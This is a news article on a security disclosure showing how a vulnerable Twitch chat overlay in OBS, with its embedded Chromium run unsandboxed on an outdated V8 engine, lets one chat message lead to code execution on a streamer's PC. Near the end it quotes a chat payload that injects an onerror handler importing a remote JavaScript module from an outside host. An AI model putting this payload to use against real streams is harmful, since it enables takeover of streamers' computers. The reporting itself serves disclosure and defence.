A Twitch Chat Message Could Run Code on a Streamer’s PC — No Clicks Needed

Every Twitch stream is, beneath the gameplay, a small web-design operation. The chat box scrolling beside the streamer is usually a web page; so are the donation alerts, the follower pop-ups and the animated widgets. OBS, the free software most streamers rely on, renders all of it with an embedded copy of Chromium. A security researcher writing on the blog scrt.ch has now shown what that really means: with the wrong chat overlay in place, a single viewer-controlled Twitch chat message can end up running arbitrary code on the streamer’s machine.

It began, as modern security incidents so often do, with a screenshot. A friend of the researcher’s had vibecoded a small Twitch chat overlay for OBS and posted a picture that happened to include some of the code. One line stood out: incoming chat messages were being dropped straight into the page as HTML, without sanitization. That is a textbook cross-site scripting bug — the viewer controls the message, the overlay treats it as markup instead of text, and suddenly a stranger’s JavaScript is executing inside the page.

Attackers have poked at OBS before, in a way. An old video by Micode showed hijacking OBS through its local WebSocket server to switch scenes or stop a stream. That door is now shut: the WebSocket server is disabled by default, and when enabled it demands a password OBS generates automatically. The researcher set a harder target — one chat message, the latest OBS release, stock configuration, no interaction from the streamer, and code execution on the machine itself. The WebSocket could not deliver that. The browser could.

The browser with its seatbelt off

OBS Browser Sources run on CEF, the Chromium Embedded Framework — the same component that powers browser docks and service integrations. So the poisoned chat page was executing inside a full Chromium browser on the streamer’s Windows 11 machine. Normally that still would not matter much: Chrome isolates web content inside sandboxed renderer processes, so even a fully exploited renderer must cross the sandbox to touch the host. But OBS initializes its embedded browser with the setting no_sandbox = true, present directly in the current obs-browser source code.

All that remained was a renderer bug, and the calendar kindly supplied one. The OBS release the researcher tested, version 32.2.2, shipped Chromium 127.0.6533.120 with V8 12.7.224.18. CVE-2024-7971, a type confusion in V8, affects Chromium versions before 128.0.6613.84; Google had patched it in Chrome 128 back on August 21, 2024.

This was no theoretical flaw. Microsoft documented it being exploited in the wild by the North Korean threat actor it tracks as Citrine Sleet, and CISA added it to its Known Exploited Vulnerabilities catalog. In the attacks Microsoft observed, the V8 bug delivered code execution inside Chrome’s sandboxed renderer — and the attackers still needed a second vulnerability to escape that sandbox. Inside OBS, that particular barrier had been helpfully uninstalled.

No public proof of concept targeted the exact CEF build, so the researcher built one, using Chromium’s remote debugging and the DevTools protocol during development — and has deliberately left the exploit internals out of the writeup. The result needs no internals to appreciate: a viewer sends one malicious chat message; the overlay converts it to JavaScript execution; the V8 exploit converts that to native code execution; the attacker ends up with arbitrary code running on the streamer’s computer.

There is an important caveat, and the researcher is upfront about it. A fresh OBS installation is not remotely exploitable by just anyone in chat: the zero-click entry point is the vulnerable overlay, meaning the streamer must be using a Browser Source that renders viewer-controlled content unsanitised. Once that page is loaded, though, nothing else was weakened — no WebSocket setup, no admin privileges, no settings changed, no clicks. And an attacker-controlled page loaded into any Browser Source or browser dock could skip the chat step and start directly at the browser-exploitation stage.

The fix, eventually

The OBS team confirmed that both proper fixes are already in motion. The first is upgrading the embedded browser, long blocked because the new Chrome Runtime only recently gained the kind of off-screen rendering OBS relies on. Chromium 127 reached stable in July 2024, which makes the engine inside OBS 32.2.2 roughly two years behind. A pull request moving obs-browser to CEF 128+ is under review for the OBS Studio 33.0 milestone — months of testing and compatibility work for an open-source project maintained largely by volunteers. The second fix is turning the CEF sandbox back on; it was originally disabled because it broke authentication for some service integrations, and the team suspects those issues may now be resolved.

On Hacker News, commenter verteu distilled the whole affair to its essence, posting the sort of message that would do it: “!image http://toto.jpg/x’onerror=import(‘https://ha10.scrt.ch:8080/poc-module.js’);a=’a”. One line of chat, small enough to scroll past in a second.

Until the upgraded browser ships, the protection available today is gloriously mundane and entirely in the hands of streamers and overlay authors: if a chat message is text, render it as text — and if HTML is genuinely needed, sanitize it properly. Two years of browser-engineering lag and one state-sponsored exploit chain, all of it riding on whether somebody used the wrong kind of paste.